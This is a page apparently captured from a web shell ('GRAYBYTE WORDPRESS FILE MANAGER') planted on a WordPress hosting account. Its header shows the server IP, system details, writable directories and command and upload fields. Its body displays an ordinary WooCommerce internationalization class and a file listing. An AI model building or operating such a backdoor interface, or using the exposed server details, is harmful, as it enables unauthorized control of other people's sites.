GRAYBYTE WORDPRESS FILE MANAGER3850

Server IP : 162.213.255.40 / Your IP : 216.73.216.42
System : Linux server146.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
PHP Version : 8.0.30
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF

HOME

/home/hellrfbn/public_html/wp-content/updraft/plugins-old/woocommerce/src/Utilities/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/hellrfbn/public_html/wp-content/updraft/plugins-old/woocommerce/src/Utilities//I18nUtil.php
<?php
/**
 * A class of utilities for dealing with internationalization.
 */

namespace Automattic\WooCommerce\Utilities;

/**
 * A class of utilities for dealing with internationalization.
 */
final class I18nUtil {
	/**
	 * A cache for the i18n units data.
	 *
	 * @var array $units
	 */
	private static $units;

	/**
	 * Get the translated label for a weight unit of measure.
	 *
	 * This will return the original input string if it isn't found in the units array. This way a custom unit of
	 * measure can be used even if it's not getting translated.
	 *
	 * @param string $weight_unit The abbreviated weight unit in English, e.g. kg.
	 *
	 * @return string
	 */
	public static function get_weight_unit_label( $weight_unit ) {
		if ( empty( self::$units ) ) {
			self::$units = include WC()->plugin_path() . '/i18n/units.php';
		}

		$label = $weight_unit;

		if ( ! empty( self::$units['weight'][ $weight_unit ] ) ) {
			$label = self::$units['weight'][ $weight_unit ];
		}

		return $label;
	}

	/**
	 * Get the translated label for a dimensions unit of measure.
	 *
	 * This will return the original input string if it isn't found in the units array. This way a custom unit of
	 * measure can be used even if it's not getting translated.
	 *
	 * @param string $dimensions_unit The abbreviated dimension unit in English, e.g. cm.
	 *
	 * @return string
	 */
	public static function get_dimensions_unit_label( $dimensions_unit ) {
		if ( empty( self::$units ) ) {
			self::$units = include WC()->plugin_path() . '/i18n/units.php';
		}

		$label = $dimensions_unit;

		if ( ! empty( self::$units['dimensions'][ $dimensions_unit ] ) ) {
			$label = self::$units['dimensions'][ $dimensions_unit ];
		}

		return $label;
	}
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
.htaccess
0.41 KB
July 23 2025 07:38:28
hellrfbn / hellrfbn
0644
ArrayUtil.php
11.27 KB
June 25 2024 18:19:14
hellrfbn / hellrfbn
0644
DiscountsUtil.php
1.104 KB
June 25 2024 18:19:14
hellrfbn / hellrfbn
0644
FeaturesUtil.php
4.49 KB
June 25 2024 18:19:14
hellrfbn / hellrfbn
0644
I18nUtil.php
1.687 KB
June 25 2024 18:19:14
hellrfbn / hellrfbn
0644
LoggingUtil.php
3.027 KB
June 25 2024 18:19:14
hellrfbn / hellrfbn
0644
NumberUtil.php
1.814 KB
June 25 2024 18:19:14
hellrfbn / hellrfbn
0644
OrderUtil.php
7.454 KB
June 25 2024 18:19:14
hellrfbn / hellrfbn
0644
PluginUtil.php
10.596 KB
June 25 2024 18:19:14
hellrfbn / hellrfbn
0644
RestApiUtil.php
0.763 KB
June 25 2024 18:19:14
hellrfbn / hellrfbn
0644
StringUtil.php
5.09 KB
June 25 2024 18:19:14
hellrfbn / hellrfbn
0644
TimeUtil.php
1.158 KB
June 25 2024 18:19:14
hellrfbn / hellrfbn
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF